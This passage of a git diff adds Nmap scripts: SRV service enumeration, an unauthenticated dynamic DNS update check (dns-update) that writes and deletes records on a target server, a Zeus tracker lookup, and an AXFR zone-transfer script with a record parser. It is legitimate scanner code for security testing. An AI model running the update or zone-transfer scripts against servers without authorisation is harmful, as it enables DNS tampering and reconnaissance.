+ for _, query in ipairs(queries) do
+ local fqdn = ("%s.%s"):format(query, arg_domain)
+ local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
+ for host, port, prio, weight in parseSrvResponse(resp) do
+ if target.ALLOW_NEW_TARGETS then
+ target.add(host)
+ end
+ local proto = query:sub(-3)
+ tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
+ end
+ end
+ if ( #svc_result ~= 1 ) then
+ table.insert(result, { name = name, tab.dump(svc_result) })
+ end
+ condvar "signal"
+end
+
+action = function(host)
+
+ local services = {
+ { name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
+ { name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
+ { name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
+ { name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
+ { name = "LDAP", query = {"_ldap._tcp"} },
+ { name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
+ { name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
+ { name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
+ }
+
+ if ( not(checkFilter(services)) ) then
+ return stdnse.format_output(false, ("Invalid filter (%s) was supplied"):format(arg_filter))
+ end
+
+ local threads, result = {}, {}
+ for name, queries in parseSvcList(services) do
+ if ( not(arg_filter) or 0 == #arg_filter or
+ "all" == arg_filter or arg_filter == name ) then
+ local co = stdnse.new_thread(doQuery, name, queries, result)
+ threads[co] = true
+ end
+ end
+
+ local condvar = nmap.condvar(result)
+ repeat
+ for t in pairs(threads) do
+ if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until( next(threads) == nil )
+
+ table.sort(result, function(a,b) return a.name < b.name end)
+
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/dns-update.nse b/scripts/dns-update.nse
new file mode 100644
index 0000000..c768bf0
--- /dev/null
+++ b/scripts/dns-update.nse
@@ -0,0 +1,118 @@
+local dns = require "dns"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Attempts to perform a dynamic DNS update without authentication.
+
+Either the <code>test</code> or both the <code>hostname</code> and
+<code>ip</code> script arguments are required. Note that the <code>test</code>
+function will probably fail due to using a static zone name that is not the
+zone configured on your target.
+]]
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive"}
+
+---
+-- @usage
+-- nmap -sU -p 53 --script=dns-update --script-args=dns-update.hostname=foo.example.com,dns-update.ip=192.0.2.1 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 53/udp open domain
+-- | dns-update:
+-- | Successfully added the record "nmap-test.cqure.net"
+-- |_ Successfully deleted the record "nmap-test.cqure.net"
+--
+-- @args dns-update.hostname The name of the host to add to the zone
+-- @args dns-update.ip The ip address of the host to add to the zone
+-- @args dns-update.test Add and remove 4 records to determine if the target is vulnerable.
+--
+-- @xmloutput
+-- <elem>Successfully added the record "nmap-test.cqure.net"</elem>
+-- <elem>Failed to delete the record "nmap-test.cqure.net"</elem>
+
+--
+-- Examples
+--
+-- Adding different types of records to a server
+-- * dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="10.10.10.10" } )
+-- * dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="www.cqure.net" } )
+-- * dns.update( "cqure.net", { host=host, port=port, dtype="MX", data={ pref=10, mx="mail.cqure.net"} })
+-- * dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data={ prio=0, weight=100, port=389, target="ldap.cqure.net" } } )
+--
+-- Removing the above records by setting an empty data and a ttl of zero
+-- * dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } )
+-- * dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="", ttl=0 } )
+-- * dns.update( "cqure.net", { host=host, port=port, dtype="MX", data="", ttl=0 } )
+-- * dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data="", ttl=0 } )
+--
+
+-- Version 0.2
+
+-- Created 01/09/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/10/2011 - v0.2 - added test function <patrik@cqure.net>
+
+
+portrule = shortport.port_or_service( 53, "dns", {"udp", "tcp"} )
+
+local function test(host, port)
+
+ local status, err = dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="10.10.10.10" } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "www2", { zone="cqure.net", host=host, port=port, dtype="A", data="10.10.10.10" } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="www.cqure.net" } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "cqure.net", { host=host, port=port, dtype="MX", data={ pref=10, mx="mail.cqure.net"} })
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data={ prio=0, weight=100, port=389, target="ldap.cqure.net" } } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+
+ status, err = dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "www2.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="", ttl=0 } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "cqure.net", { host=host, port=port, dtype="MX", data="", ttl=0 } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+ status, err = dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data="", ttl=0 } )
+ if ( status ) then stdnse.debug1("SUCCESS") else stdnse.debug1("FAIL: " .. (err or "")) end
+
+end
+
+action = function(host, port)
+
+ local t = stdnse.get_script_args('dns-update.test')
+ local name, ip = stdnse.get_script_args('dns-update.hostname', 'dns-update.ip')
+
+ if ( t ) then return test(host, port) end
+ if ( not(name) or not(ip) ) then
+ return stdnse.format_output(false, "Missing required script args: dns-update.hostname and dns-update.ip")
+ end
+
+ -- we really need an ip or name to continue
+ -- we could attempt a random name, but we need to know at least the name of the zone
+ local status, err = dns.update( name, { host=host, port=port, dtype="A", data=ip } )
+
+ if ( status ) then
+ local result = {}
+ table.insert(result, ("Successfully added the record \"%s\""):format(name))
+ local status = dns.update( name, { host=host, port=port, dtype="A", data="", ttl=0 } )
+ if ( status ) then
+ table.insert(result, ("Successfully deleted the record \"%s\""):format(name))
+ else
+ table.insert(result, ("Failed to delete the record \"%s\""):format(name))
+ end
+ nmap.set_port_state(host, port, "open")
+ return result
+ elseif ( err ) then
+ return stdnse.format_output(false, err)
+ end
+
+end
diff --git a/scripts/dns-zeustracker.nse b/scripts/dns-zeustracker.nse
new file mode 100644
index 0000000..c53a4e8
--- /dev/null
+++ b/scripts/dns-zeustracker.nse
@@ -0,0 +1,61 @@
+local dns = require "dns"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Checks if the target IP range is part of a Zeus botnet by querying ZTDNS @ abuse.ch.
+Please review the following information before you start to scan:
+* https://zeustracker.abuse.ch/ztdns.php
+]]
+
+---
+-- @usage
+-- nmap -sn -PN --script=dns-zeustracker <ip>
+-- @output
+-- Host script results:
+-- | dns-zeustracker:
+-- | Name IP SBL ASN Country Status Level Files Online Date added
+-- | foo.example.com 1.2.3.4 SBL123456 1234 CN online Bulletproof hosted 0 2011-06-17
+-- |_ bar.example.com 1.2.3.5 SBL123456 1234 CN online Bulletproof hosted 0 2011-06-15
+
+author = "Mikael Keri"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery", "external", "malware"}
+
+
+
+hostrule = function(host) return not(ipOps.isPrivate(host.ip)) end
+
+action = function(host)
+
+ local levels = {
+ "Bulletproof hosted",
+ "Hacked webserver",
+ "Free hosting service",
+ "Unknown",
+ "Hosted on a FastFlux botnet"
+ }
+ local dname = dns.reverse(host.ip)
+ dname = dname:gsub ("%.in%-addr%.arpa",".ipbl.zeustracker.abuse.ch")
+ local status, result = dns.query(dname, {dtype='TXT', retAll=true} )
+
+ if ( not(status) and result == "No Such Name" ) then
+ return
+ elseif ( not(status) ) then
+ return stdnse.format_output(false, "DNS Query failed")
+ end
+
+ local output = tab.new(9)
+ tab.addrow(output, "Name", "IP", "SBL", "ASN", "Country", "Status", "Level",
+ "Files Online", "Date added")
+ for _, record in ipairs(result) do
+ local name, ip, sbl, asn, country, status, level, files_online,
+ dateadded = table.unpack(stringaux.strsplit("| ", record))
+ level = levels[tonumber(level)] or "Unknown"
+ tab.addrow(output, name, ip, sbl, asn, country, status, level, files_online, dateadded)
+ end
+ return stdnse.format_output(true, tab.dump(output))
+end
diff --git a/scripts/dns-zone-transfer.nse b/scripts/dns-zone-transfer.nse
new file mode 100644
index 0000000..14810ea
--- /dev/null
+++ b/scripts/dns-zone-transfer.nse
@@ -0,0 +1,780 @@
+local dns = require "dns"
+local ipOps = require "ipOps"
+local listop = require "listop"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local strbuf = require "strbuf"
+local string = require "string"
+local stringaux = require "stringaux"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Requests a zone transfer (AXFR) from a DNS server.
+
+The script sends an AXFR query to a DNS server. The domain to query is
+determined by examining the name given on the command line, the DNS
+server's hostname, or it can be specified with the
+<code>dns-zone-transfer.domain</code> script argument. If the query is
+successful all domains and domain types are returned along with common
+type specific data (SOA/MX/NS/PTR/A).
+
+This script can run at different phases of an Nmap scan:
+* Script Pre-scanning: in this phase the script will run before any
+Nmap scan and use the defined DNS server in the arguments. The script
+arguments in this phase are: <code>dns-zone-transfer.server</code> the
+DNS server to use, can be a hostname or an IP address and must be
+specified. The <code>dns-zone-transfer.port</code> argument is optional
+and can be used to specify the DNS server port.
+* Script scanning: in this phase the script will run after the other
+Nmap phases and against an Nmap discovered DNS server. If we don't
+have the "true" hostname for the DNS server we cannot determine a
+likely zone to perform the transfer on.
+
+Useful resources
+* DNS for rocket scientists: http://www.zytrax.com/books/dns/
+* How the AXFR protocol works: http://cr.yp.to/djbdns/axfr-notes.html
+]]
+
+---
+-- @args dns-zone-transfer.domain Domain to transfer.
+-- @args dns-zone-transfer.server DNS server. If set, this argument will
+-- enable the script for the "Script Pre-scanning phase".
+-- @args dns-zone-transfer.port DNS server port, this argument concerns
+-- the "Script Pre-scanning phase" and it's optional, the default
+-- value is <code>53</code>.
+-- @args newtargets If specified, adds returned DNS records onto Nmap
+-- scanning queue.
+-- @args dns-zone-transfer.addall If specified, adds all IP addresses
+-- including private ones onto Nmap scanning queue when the
+-- script argument <code>newtargets</code> is given. The default
+-- behavior is to skip private IPs (non-routable).
+--
+-- @see dns-nsec-enum.nse
+-- @see dns-nsec3-enum.nse
+-- @see dns-ip6-arpa-scan.nse
+-- @see dns-brute.nse
+--
+-- @output
+-- 53/tcp open domain
+-- | dns-zone-transfer:
+-- | foo.com. SOA ns2.foo.com. piou.foo.com.
+-- | foo.com. TXT
+-- | foo.com. NS ns1.foo.com.
+-- | foo.com. NS ns2.foo.com.
+-- | foo.com. NS ns3.foo.com.
+-- | foo.com. A 127.0.0.1
+-- | foo.com. MX mail.foo.com.
+-- | anansie.foo.com. A 127.0.0.2
+-- | dhalgren.foo.com. A 127.0.0.3
+-- | drupal.foo.com. CNAME
+-- | goodman.foo.com. A 127.0.0.4 i
+-- | goodman.foo.com. MX mail.foo.com.
+-- | isaac.foo.com. A 127.0.0.5
+-- | julie.foo.com. A 127.0.0.6
+-- | mail.foo.com. A 127.0.0.7
+-- | ns1.foo.com. A 127.0.0.7
+-- | ns2.foo.com. A 127.0.0.8
+-- | ns3.foo.com. A 127.0.0.9
+-- | stubing.foo.com. A 127.0.0.10
+-- | vicki.foo.com. A 127.0.0.11
+-- | votetrust.foo.com. CNAME
+-- | www.foo.com. CNAME
+-- |_ foo.com. SOA ns2.foo.com. piou.foo.com.
+-- @usage
+-- nmap --script dns-zone-transfer.nse \
+-- --script-args dns-zone-transfer.domain=<domain>
+
+
+author = "Eddie Bell"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {'intrusive', 'discovery'}
+
+-- DNS options
+local dns_opts = {}
+
+prerule = function()
+ dns_opts.domain, dns_opts.server,
+ dns_opts.port, dns_opts.addall = stdnse.get_script_args(
+ {"dns-zone-transfer.domain", "dnszonetransfer.domain"},
+ {"dns-zone-transfer.server", "dnszonetransfer.server"},
+ {"dns-zone-transfer.port", "dnszonetransfer.port"},
+ {"dns-zone-transfer.addall","dnszonetransfer.addall"}
+ )
+
+ if not dns_opts.domain then
+ stdnse.debug3("Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.", SCRIPT_NAME, SCRIPT_TYPE)
+ return false
+ end
+
+ if not dns_opts.server then
+ stdnse.debug3("Skipping '%s' %s, 'dnszonetransfer.server' argument is missing.", SCRIPT_NAME, SCRIPT_TYPE)
+ return false
+ end
+
+ return true
+end
+
+portrule = function(host, port)
+ if shortport.portnumber(53, 'tcp')(host, port) then
+ dns_opts.domain, dns_opts.addall = stdnse.get_script_args(
+ {"dns-zone-transfer.domain", "dnszonetransfer.domain"},
+ {"dns-zone-transfer.addall","dnszonetransfer.addall"}
+ )
+
+ if not dns_opts.domain then
+ if host.targetname then
+ dns_opts.domain = host.targetname
+ elseif host.name ~= "" then
+ dns_opts.domain = host.name
+ else
+ -- can't do anything without a hostname
+ stdnse.debug3("Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.", SCRIPT_NAME, SCRIPT_TYPE)
+ return false
+ end
+ end
+ dns_opts.server = host.ip
+ dns_opts.port = port.number
+ return true
+ end
+
+ return false
+end
+
+--- DNS query and response types.
+--@class table
+--@name typetab
+local typetab = { 'A', 'NS', 'MD', 'MF', 'CNAME', 'SOA', 'MB', 'MG', 'MR',
+ 'NULL', 'WKS', 'PTR', 'HINFO', 'MINFO', 'MX', 'TXT', 'RP', 'AFSDB', 'X25',
+ 'ISDN', 'RT', 'NSAP', 'NSAP-PTR', 'SIG', 'KEY', 'PX', 'GPOS', 'AAAA', 'LOC',
+ 'NXT', 'EID', 'NIMLOC', 'SRV', 'ATMA', 'NAPTR', 'KX', 'CERT', 'A6', 'DNAME',
+ 'SINK', 'OPT', 'APL', 'DS', 'SSHFP', 'IPSECKEY', 'RRSIG', 'NSEC', 'DNSKEY',
+ 'DHCID', 'NSEC3', 'NSEC3PARAM', 'TLSA', [55]='HIP', [56]='NINFO', [57]='RKEY',
+ [58]='TALINK', [59]='CDS', [99]='SPF', [100]='UINFO', [101]='UID', [102]='GID',
+ [103]='UNSPEC', [249]='TKEY', [250]='TSIG', [251]='IXFR', [252]='AXFR',
+ [253]='MAILB', [254]='MAILA', [255]='ANY', [256]='ZXFR', [257]='CAA',
+ [32768]='TA', [32769]='DLV',
+}
+
+--- Whitelist of TLDs. Only way to reliably determine the root of a domain
+--@class table
+--@name tld
+local tld = {
+ 'aero', 'asia', 'biz', 'cat', 'com', 'coop', 'info', 'jobs', 'mobi', 'museum',
+ 'name', 'net', 'org', 'pro', 'tel', 'travel', 'gov', 'edu', 'mil', 'int',
+ 'ac','ad','ae','af','ag','ai','al','am','an','ao','aq','ar','as','at','au','aw',
+ 'ax','az','ba','bb','bd','be','bf','bg','bh','bi','bj','bm','bn','bo','br','bs',
+ 'bt','bv','bw','by','bz','ca','cc','cd','cf','cg','ch','ci','ck','cl','cm','cn',
+ 'co','cr','cu','cv','cx','cy','cz','de','dj','dk','dm','do','dz','ec','ee','eg',
+ 'eh','er','es','et','eu','fi','fj','fk','fm','fo','fr','ga','gb','gd','ge','gf',
+ 'gg','gh','gi','gl','gm','gn','gp','gq','gr','gs','gt','gu','gw','gy','hk','hm',
+ 'hn','hr','ht','hu','id','ie','il','im','in','io','iq','ir','is','it','je','jm',
+ 'jo','jp','ke','kg','kh','ki','km','kn','kp','kr','kw','ky','kz','la','lb','lc',
+ 'li','lk','lr','ls','lt','lu','lv','ly','ma','mc','md','me','mg','mh','mk','ml',
+ 'mm','mn','mo','mp','mq','mr','ms','mt','mu','mv','mw','mx','my','mz','na','nc',
+ 'ne','nf','ng','ni','nl','no','np','nr','nu','nz','om','pa','pe','pf','pg','ph',
+ 'pk','pl','pm','pn','pr','ps','pt','pw','py','qa','re','ro','rs','ru','rw','sa',
+ 'sb','sc','sd','se','sg','sh','si','sj','sk','sl','sm','sn','so','sr','st','su',
+ 'sv','sy','sz','tc','td','tf','tg','th','tj','tk','tl','tm','tn','to','tp','tr',
+ 'tt','tv','tw','tz','ua','ug','uk','um','us','uy','uz','va','vc','ve','vg','vi',
+ 'vn','vu','wf','ws','ye','yt','yu','za','zm','zw'
+}
+
+--- Convert two bytes into a 16bit number.
+--@param data String of data.
+--@param idx Index in the string (first of two consecutive bytes).
+--@return 16 bit number represented by the two bytes.
+function bto16(data, idx)
+ return (">I2"):unpack(data, idx)
+end
+
+--- Check if domain name element is a tld
+--@param elm Domain name element to check.
+--@return boolean
+function valid_tld(elm)
+ for i,v in ipairs(tld) do
+ if elm == v then return true end
+ end
+ return false
+end
+
+--- Parse an RFC 1035 domain name.
+--@param data String of data.
+--@param offset Offset in the string to read the domain name.
+function parse_domain(data, offset)
+ local offset, domain = dns.decStr(data, offset)
+ domain = domain or "<parse error>"
+ return offset, string.format("%s.", domain)
+end
+
+--- Build RFC 1035 root domain name from the name of the DNS server
+-- (e.g ns1.website.com.ar -> \007website\003com\002ar\000).
+--@param host The host.
+function build_domain(host)
+ local names, buf, x
+ local abs_name, i, tmp
+
+ buf = strbuf.new()
+ abs_name = {}
+
+ names = stringaux.strsplit('%.', host)
+ if names == nil then names = {host} end
+
+ -- try to determine root of domain name
+ for i, x in ipairs(listop.reverse(names)) do
+ table.insert(abs_name, x)
+ if not valid_tld(x) then break end
+ end
+
+ i = 1
+ abs_name = listop.reverse(abs_name)
+
+ -- prepend each element with its length
+ while i <= #abs_name do
+ buf = buf .. string.char(#abs_name[i]) .. abs_name[i]
+ i = i + 1
+ end
+
+ buf = buf .. '\000'
+ return strbuf.dump(buf)
+end
+
+local function parse_num_domain(data, offset)
+ local number, domain
+ number = bto16(data, offset)
+ offset, domain = parse_domain(data, offset+2)
+ return offset, string.format("%d %s", number, domain)
+end
+
+local function parse_txt(data, offset)
+ local field, offset = string.unpack("s1", data, offset)
+ return offset, string.format('"%s"', field)
+end
+
+--- Retrieve type specific data (rdata) from dns packets
+local RD = {
+ A = function(data, offset)
+ return offset+4, ipOps.str_to_ip(data:sub(offset, offset+3))
+ end,
+ NS = parse_domain,
+ MD = parse_domain, -- obsolete per rfc1035, use MX
+ MF = parse_domain, -- obsolete per rfc1035, use MX
+ CNAME = parse_domain,
+ SOA = function(data, offset)
+ local field, info
+ info = strbuf.new()
+ -- name server
+ offset, field = parse_domain(data, offset)
+ info = info .. field;
+ -- mail box
+ offset, field = parse_domain(data, offset)
+ info = info .. field;
+ -- ignore other values
+ offset = offset + 20
+ return offset, strbuf.dump(info, ' ')
+ end,
+ MB = parse_domain, -- experimental per RFC 1035
+ MG = parse_domain, -- experimental per RFC 1035
+ MR = parse_domain, -- experimental per RFC 1035
+ --NULL -- RFC 1035 says anything can go in this field. Hex dump is good.
+ WKS = function(data, offset)
+ local len, ip, proto, svcs
+ len = bto16(data, offset-2) - 5 -- length of bit field
+ ip = ipOps.str_to_ip(data:sub(offset, offset+3))
+ proto = string.byte(data, offset+4)
+ offset = offset + 5
+ svcs = {}
+ local p = 0
+ local bits = {128, 64, 32, 16, 8, 4, 2, 1}
+ for i=0, len-1 do
+ local n = string.byte(data, offset + i)
+ for _, v in ipairs(bits) do
+ if (v & n) > 0 then table.insert(svcs, p) end
+ p = p + 1
+ end
+ end
+ if proto == 6 then
+ proto = "TCP"
+ elseif proto == 17 then
+ proto = "UDP"
+ end
+ return offset + len, string.format("%s %s %s", ip, proto, table.concat(svcs, " "))
+ end,
+ PTR = parse_domain,
+ HINFO = function(data, offset)
+ local cpu, os -- See RFC 1010 for standard values for these
+ offset, cpu = parse_txt(data, offset)
+ offset, os = parse_txt(data, offset)
+ return offset, string.format("%s %s", cpu, os)
+ end,
+ MINFO = function(data, offset)
+ local rmailbx, emailbx
+ offset, rmailbx = parse_domain(data, offset)
+ offset, emailbx = parse_domain(data, offset)
+ return offset, string.format("%s %s", rmailbx, emailbx)
+ end,
+ MX = parse_num_domain,
+ TXT = parse_txt,
+ RP = function(data, offset)
+ local mbox_dname, txt_dname
+ offset, mbox_dname = parse_domain(data, offset)
+ offset, txt_dname = parse_domain(data, offset)
+ return offset, string.format("%s %s", mbox_dname, txt_dname)
+ end,
+ AFSDB = parse_num_domain,
+ X25 = parse_txt,
+ ISDN = function(data, offset)
+ local addr, sa
+ offset, addr = parse_txt(data, offset)
+ offset, sa = parse_txt(data, offset)
+ return offset, string.format("%s %s", addr, sa)
+ end,
+ RT = parse_num_domain,
+ NSAP = function(data, offset)
+ local field
+ field, offset = string.unpack(">s2", data, offset - 2)
+ return offset, ("0x%s"):format(stdnse.tohex(field))
+ end,
+ ["NSAP-PTR"] = parse_domain,
+ --SIG KEY --obsolete RRs relating to DNSSEC
+ PX = function(data, offset)
+ local preference, map822, mapx400
+ preference = bto16(data, offset)
+ offset, map822 = parse_domain(data, offset+2)
+ offset, mapx400 = parse_domain(data, offset)
+ return offset, string.format("%d %s %s", preference, map822, mapx400)
+ end,
+ GPOS = function(data, offset)
+ local lat, long, alt
+ offset, lat = parse_txt(data, offset)
+ offset, long = parse_txt(data, offset)
+ offset, alt = parse_txt(data, offset)
+ return offset, string.format("%s %s %s", lat, long, alt)
+ end,
+ AAAA = function(data, offset)
+ return offset+16, ipOps.str_to_ip(data:sub(offset, offset+15))
+ end,
+ LOC = function(data, offset)
+ local version, siz, hp, vp, lat, lon, alt
+ version = string.byte(data, offset)
+ if version ~= 0 then
+ stdnse.debug2("Unknown LOC RR version: %d", version)
+ return offset, ''
+ end
+ siz = string.byte(data, offset+1)
+ siz = (siz >> 4) * 10 ^ (siz & 0x0f) / 100
+ hp = string.byte(data, offset+2)
+ hp = (hp >> 4) * 10 ^ (hp & 0x0f) / 100
+ vp = string.byte(data, offset+3)
+ vp = (vp >> 4) * 10 ^ (vp & 0x0f) / 100
+ offset = offset + 4
+ lat, lon, alt, offset = string.unpack(">I4I4I4", data, offset)
+ lat = (lat-2^31)/3600000 --degrees
+ local latd = 'N'
+ if lat < 0 then
+ latd = 'S'
+ lat = 0-lat
+ end
+ lon = (lon-2^31)/3600000 --degrees
+ local lond = 'E'
+ if lon < 0 then
+ lond = 'W'
+ lon = 0-lon
+ end
+ return offset, string.format("%f %s %f %s %dm %0.1fm %0.1fm %0.1fm",
+ lat, latd, lon, lond, alt/100 - 100000, siz, hp, vp)
+ end,
+ --NXT --obsolete RR relating to DNSSEC
+ --EID NIMLOC --related to Nimrod DARPA project (Patton1995)
+ SRV = function(data, offset)
+ local priority, weight, port, info
+ priority, weight, port, offset = string.unpack(">I2I2I2", data, offset)
+ offset, info = parse_domain(data, offset)
+ return offset, string.format("%d %d %d %s", priority, weight, port, info)
+ end,
+ ATMA = function(data, offset) --http://www.broadband-forum.org/ftp/pub/approved-specs/af-saa-0069.000.pdf
+ local format, address
+ format = string.byte(data, offset) -- 0 or 1
+ offset, address = parse_txt(data, offset+1)
+ return offset, string.format("%d %s", format, address)
+ end,
+ NAPTR = function(data, offset)
+ local order, preference, flags, service, regexp, replacement
+ order = bto16(data, offset)
+ preference = bto16(data, offset+2)
+ offset, flags = parse_txt(data, offset+4)
+ offset, service = parse_txt(data, offset)
+ offset, regexp = parse_txt(data, offset)
+ offset, replacement = parse_domain(data, offset)
+ return offset, string.format('%d %d %s %s %s %s',
+ order, preference, flags, service, regexp, replacement)
+ end,
+ KX = parse_num_domain,
+ --CERT
+ A6 = function(data, offset) -- obsoleted by AAAA
+ local prefix, addr, name
+ prefix = string.byte(data, offset)
+ local pbytes = prefix >> 3
+ addr = ipOps.str_to_ip(string.rep("\000", pbytes) .. data:sub(offset+1, 16-pbytes))
+ offset, name = parse_domain(data, offset + 17 - pbytes)
+ return offset, string.format("%d %s %s", prefix, addr, name)
+ end,
+ DNAME = parse_domain,
+ SINK = function(data, offset) -- https://tools.ietf.org/html/draft-eastlake-kitchen-sink-02
+ local coding, subcoding, field
+ coding = string.byte(data, offset)
+ subcoding = string.byte(data, offset+1)
+ field, offset = string.unpack("c" .. (bto16(data, offset-2)-2), data, offset+2)
+ return offset, string.format("%d %d %s", coding, subcoding, stdnse.tohex(field))
+ end,
+ --OPT APL DS
+ SSHFP = function(data, offset)
+ local algorithm, fptype, fplen, fingerprint
+ algorithm = string.byte(data, offset)
+ fptype = string.byte(data, offset+1)
+ fplen = bto16(data, offset-2) - 2
+ offset = offset + 2
+ fingerprint = stdnse.tohex(data:sub(offset, offset+fplen-1))
+ return offset + fplen, string.format("%d %d %s", algorithm, fptype, fingerprint)
+ end,
+ --IPSECKEY RRSIG NSEC DNSKEY DHCID NSEC3 NSEC3PARAM
+ TLSA = function(data, offset) -- https://tools.ietf.org/html/rfc6698
+ local rdatalen, cert_usage, selector, match_type, offset = (">I2BBB"):unpack(data, offset-2)
+ local usages = {[0] = "PKIX-TA", [1] = "PKIX-EE", [2] = "DANE-TA", [3] = "DANE-EE", [255] = "PrivCert"}
+ cert_usage = usages[cert_usage] or cert_usage
+ local selectors = {[0] = "Cert", [1] = "SPKI", [255] = "PrivSel"}
+ selector = selectors[selector] or selector
+ local matches = {[0] = "Full", [1] = "SHA2-256", [2] = "SHA2-512", [255] = "PrivMatch"}
+ match_type = matches[match_type] or match_type
+ local offend = offset + rdatalen - 3
+ local assoc_data = stdnse.tohex(data:sub(offset, offend - 1))
+ return offend, string.format("%s %s %s %s", cert_usage, selector, match_type, assoc_data)
+ end,
+ --HIP NINFO RKEY TALINK CDS
+ SPF = parse_txt,
+ --UINFO UID GID UNSPEC TKEY TSIG IXFR AXFR
+}
+
+function get_rdata(data, offset, ttype)
+ if typetab[ttype] == nil then
+ return offset, ''
+ elseif RD[typetab[ttype]] then
+ return RD[typetab[ttype]](data, offset)
+ else
+ local field
+ field, offset = string.unpack(">s2", data, offset - 2)
+ return offset, ("hex: %s"):format(stdnse.tohex(field))
+ end
+end
+
+--- Get a single answer record from the current offset
+function get_answer_record(table, data, offset)
+ local line, rdlen, ttype
+
+ -- answer domain
+ offset, line = parse_domain(data, offset)
+ table.domain = line
+
+ -- answer record type
+ ttype = bto16(data, offset)
+ if not(typetab[ttype] == nil) then
+ table.ttype = typetab[ttype]
+ end
+
+ -- length of type specific data
+ rdlen = bto16(data, offset+8)
+
+ -- extra data, ignore ttl and class
+ offset, line = get_rdata(data, offset+10, ttype)
+ if(line == '') then
+ offset = offset + rdlen
+ return false, offset
+ else
+ table.rdata = line
+ end
+
+ return true, offset
+end
+
+-- parse and save uniq records in the results table
+function parse_uniq_records(results, record)
+ if record.domain and not results['Node Names'][record.domain] then
+ local str = string.gsub(record.domain, "^%s*(.-)%s*$", "%1")
+ if not results['Node Names'][str] then
+ results['Node Names'][str] = 1
+ end
+ end
+ if record.ttype and record.rdata then
+ if not results[record.ttype] then
+ results[record.ttype] = {}
+ end
+ local str = string.gsub(record.rdata, "^%s*(.-)%s*$", "%1")
+ if not results[record.ttype][str] then
+ results[record.ttype][str] = 1
+ end
+ end
+end
+
+-- parse and save only valid records
+function parse_records(number, data, results, offset)
+ while number > 0 do
+ local answer, st = {}
+ st, offset = get_answer_record(answer, data, offset)
+ if st then
+ parse_uniq_records(results, answer)
+ end
+ number = number - 1
+ end
+ return offset
+end
+
+-- parse and save all records in order to dump them to output
+function parse_records_table(number, data, table, offset)
+ while number > 0 do
+ local answer, st = {}
+ st, offset = get_answer_record(answer, data, offset)
+ if st then
+ if answer.domain then
+ tab.add(table, 1, answer.domain)
+ end
+ if answer.ttype then
+ tab.add(table, 2, answer.ttype)
+ end
+ if answer.rdata then
+ tab.add(table, 3, answer.rdata)
+ end
+ tab.nextrow(table)
+ end
+ number = number - 1
+ end
+ return offset
+end
+
+-- An iterator that breaks up a concatenation of responses. In DNS over TCP,
+-- each response is prefixed by a two-byte length (RFC 1035 section 4.2.2).
+-- Responses returned by this iterator include the two-byte length prefix.
+function responses_iter(data)
+ local offset = 1
+
+ return function()
+ local length, remaining, response
+
+ remaining = #data - offset + 1
+ if remaining == 0 then
+ return nil
+ end
+ assert(remaining >= 14 + 2)
+ length = bto16(data, offset)
+ assert(length <= remaining)
+ -- Skip over the length field.
+ offset = offset + 2
+ response = string.sub(data, offset, offset + length - 1)
+ offset = offset + length
+ return response
+ end
+end
+
+-- add axfr results to Nmap scan queue
+function add_zone_info(response)
+ local RR = {}
+ for data in responses_iter(response) do
+
+ local offset, line = 1
